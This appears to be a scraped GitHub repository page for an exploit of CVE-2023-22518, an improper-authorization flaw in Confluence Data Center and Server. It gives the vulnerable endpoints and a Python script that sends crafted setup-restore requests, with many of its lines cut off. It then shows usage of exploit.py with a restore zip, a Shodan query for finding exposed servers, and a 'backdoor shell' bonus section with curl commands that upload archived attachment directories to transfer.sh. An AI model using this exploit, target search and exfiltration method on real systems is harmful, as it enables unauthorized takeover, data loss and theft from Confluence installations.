.gitignore
DETAIL.md
LICENSE
README.md
atlplug.jar
exploit.py
xmlexport-20231109...

About

Improper Authorization Vulnerability in Confluence Data Center and Server + bonus 🔥

python shell attack backdoor exploit hacking vulnerability vulnerabilities confluence cve atlassian hacking-tool atlassian-confluence critical exploiting improper

CVE-2023-22518

Improper Authorization Vulnerability in Confluence Data Center and Server.

Atlassian has alerted administrators about a critical vulnerability in Confluence. Exploiting this issue can lead to data loss, so developers urge you to install patches as soon as possible.

It is noted that the vulnerability cannot be used for data leakage, and it does not affect Atlassian Cloud sites accessed through the atlassian.net domain.

https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html

https://jira.atlassian.com/browse/CONFSERVER-93142

Product	Affected Versions	Fixed Versions
Confluence Data Center	All versions are affected	7.19.16 or later
Confluence Server		8.3.4 or later
		8.4.4 or later
		8.5.3 or later
		8.6.1 or later

Exploiting

Class: Improper authorization

CWE: CWE-285 / CWE-266

ATT&CK: T1548.002

Known attack vectors 🔥

/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action Community Forum

Contributors 2

ForceFledgling Vladimir Penzin

altima Enno

Languages

● Python 100.0%

A simple example of vulnerability testing in Python

```
import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.Ins

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/js
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data
        }

        rand_str = random_string()
        data = (
            "------WebKitFormBoundaryT3yekvo0rG
            "Content-Disposition: form-data; na
            "true\r\n"
            "------WebKitFormBoundaryT3yekvo0rG
            f"Content-Disposition: form-data; n
            f"{rand_str}\r\n"
            "------WebKitFormBoundaryT3yekvo0rG
            "Content-Disposition: form-data; na
            "Upload and import\r\n"
            "------WebKitFormBoundaryT3yekvo0rG
        )

        try:
            response = requests.post(url, heade

            if (response.status_code == 200 and
                'The zip file did not contain a
                'exportDescriptor.properties' in
                    print(f"[+] Vulnerable to CVE-20
                else:
                    print(f"[-] Not vulnerable to CV
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url

def main():
    parser = argparse.ArgumentParser(description
    parser.add_argument('--url', help='The URL 
    parser.add_argument('--file', help='Filename
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or

if __name__ == "__main__":
    main()
```

Use exploit 🔥

exploit.py

```
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-r
Enter the path to the .zip file: /path/xmlexpor
```

Bonus 🔥

Shodan search:

```
http.favicon.hash:-305179312
```

exploit-restore.zip

Confluence Backdoor Shell App

When resetting Confluence using this vulnerability, the directory %CONFLUENCE_HOME%/attachments remains full of files, potentially numbering in the thousands. Extracting them all is quite straightforward, and their extensions can be determined using the Linux file command. For example:

```
file /var/lib/confluence/attachments/v4/191/28/7
/var/lib/confluence/attachments/v4/191/28/77273

or

file /var/atlassian/application-data/confluence/
/var/atlassian/application-data/confluence/atta
```

Example of how to easily archive a directory and extract the archive:

```
tar -czvf /var/atlassian/application-data/conflu
curl --upload-file /var/atlassian/application-da
https://transfer.sh/***********/attachments_bac

or

curl --upload-file /var/atlassian/application-da
https://transfer.sh/***********/backup-2023_09_
```

Novel backdoor persists even after critical Confluence vulnerability is patched

---

More useful information